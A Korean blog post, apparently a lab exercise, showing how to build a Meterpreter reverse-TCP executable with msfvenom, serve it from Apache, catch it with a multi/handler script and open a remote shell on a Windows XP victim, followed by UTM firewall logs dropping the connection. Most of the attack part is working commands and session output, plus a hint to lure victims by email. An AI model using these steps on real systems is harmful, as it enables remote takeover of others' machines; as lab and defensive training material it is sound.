실습> msfvenom 을 이용한 악성코드 작성하기
metasploit의 windows/meterpreter/reverse_tcp payload는 reverse connection 을 기반으로 하고 있다.
malware.exe를 실행하면 Victim이 Attacker로 접속하고 meterpreter 쉘이 실행되는 공격 형태이다.
Attacker(Kali) : 192.168.108.200
Victim1(Windows XP) : 192.168.102.105
윈도우 버전
+-- meterpreter shell
|
Attacker | UTM Victim
+----------+ v +--+ +----------+
| | +===+ | | | |
| | | | | | | |
| 4444 ---->| M |<-+--+----- 1017 [malware.exe]
| | | | | | | |
| | +===+ | | | |
+----------+ +--+ +----------+
192.168.108.200 192.168.102.105
firewall.cpl 활성화
-- 실습 순서 --
1. Victim 방화벽 활성화
2. 웹서버 시작
3. 악성 실행파일 생성
4. 공격 대기
5. 악성코드 실행
6. Victim 장악
-- 실습 순서 --
1. Victim 방화벽 활성화
방화벽의 Inbound 쪽의 방화벽 룰을 설정한다.
설정 방법 : cmd -> firewall.cpl -> 사용으로 체크를 한다.
victim의 방화벽 설정에 의해서 attacker가 공격에 실패하게 된다.
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
[*] Started reverse TCP handler on 192.168.108.200:4444
[-] 192.168.102.105:445 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection with (192.168.102.105:445) timed out.
[*] Exploit completed, but no session was created.
2. 웹서버 시작
피해자가 악성코드를 다운로드 받기 위해서 웹서버를 실행한다.
Attacker# /etc/init.d/apache2 start
3. 악성 실행파일 생성
자신의 IP주소를 확인하고 악성파일을 생성한다.
Attacker# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.108.200 netmask 255.255.255.0 broadcast 192.168.108.255
inet6 fe80::20c:29ff:fe7f:57d prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:7f:05:7d txqueuelen 1000 (Ethernet)
RX packets 3102 bytes 285474 (278.7 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3861 bytes 2117671 (2.0 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
msfvenom 옵션
lhost : 공격자 IP주소
lport : 공격자 포트번호
-f : 실행파일 형식
-o : 악성파일 경로
-p : 공격 페이로드
Attacker# msfvenom -p windows/meterpreter/reverse_tcp \
lhost=192.168.108.200 lport=4444 -f exe -o /var/www/html/malware.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: /var/www/html/malware.exe
4. 공격 대기
공격자는 공격 모듈을 선택하고 포트를 오픈한 후 피해자가 연결되기를 기다린다.
Attacker# vi malware.rc
info multi/handler
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
show options
set lhost 192.168.108.200
exploit
Attacker# msfconsole -r malware.rc
5. 악성코드 실행
Victim에서 악성코드를 다운로드 받아서 실행한다.
여기서는 실제 악성코드를 다운로드 받아서 실행하지만 시나리오 기반으로 생각한다면
메일 보내서 피해자를 유인할 수 있고 여러가지 다양한 방법을 생각할 수 있을 것이다.
http://192.168.108.200/malware.exe
Victim 에서 악성코드를 다운로드 받아서 실행하면 msfconsole에 메세지가 나타나고
Victime으로 reverse connection으로 연결하고 상태를 확인할 수 있다.
[*] Started reverse TCP handler on 192.168.108.200:4444
[*] Sending stage (175174 bytes) to 192.168.108.105
[*] Meterpreter session 1 opened (192.168.108.200:4444 -> 192.168.108.105:1053 ) at 2022-02-24 00:11:49 -0500
meterpreter > sysinfo
Computer : VICTIM_WINXP
OS : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture : x86
System Language : ko_KR
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > shell
Process 1384 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\ksw\바탕 화면>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter 로컬 영역 연결:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.108.105
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.108.2
Ethernet adapter Bluetooth 네트워크 연결:
Media State . . . . . . . . . . . : Media disconnected
C:\Documents and Settings\ksw\바탕 화면>exit
!!! 중요 !!!
서비스를 any로 설정하지 않고 DNS, HTTP, HTTPS만 설정하고 다시 접속을 하면 4444번 포트는 UTM장비에서 DROP된다.
이를 확인할 수 있는 것은 LOG이므로 룰을 설정할 때 Advanced -> Log traffic 부분을 체크한다.
Open Live Log 부분에 기록되는 로그
20:24:43 Default DROP TCP 192.168.102.105 : 1420 → 192.168.108.200 : 4444 [RST] len=40 ttl=127 tos=0x00 srcmac=00:0c:29:0e:30:1e dstmac=00:0c:29:aa:9f:3c
20:24:45 Default DROP TCP 192.168.102.105 : 1420 → 192.168.108.200 : 4444 [RST] len=40 ttl=127 tos=0x00 srcmac=00:0c:29:0e:30:1e dstmac=00:0c:29:aa:9f:3c
:
:(생략)
'Linux > 보안장비 운용' 카테고리의 다른 글
| 시간 설정 & 로그인 시간 변경하기 (0) | 2022.03.02 |
|---|---|
| malware.exe 포트 변경하기 (0) | 2022.03.02 |
| 내부망 Win7 설정 (0) | 2022.03.02 |
| 내부망 WinXP 설정하기 (0) | 2022.03.02 |
| DMZ 내부망 서버 설정하기 (0) | 2022.02.20 |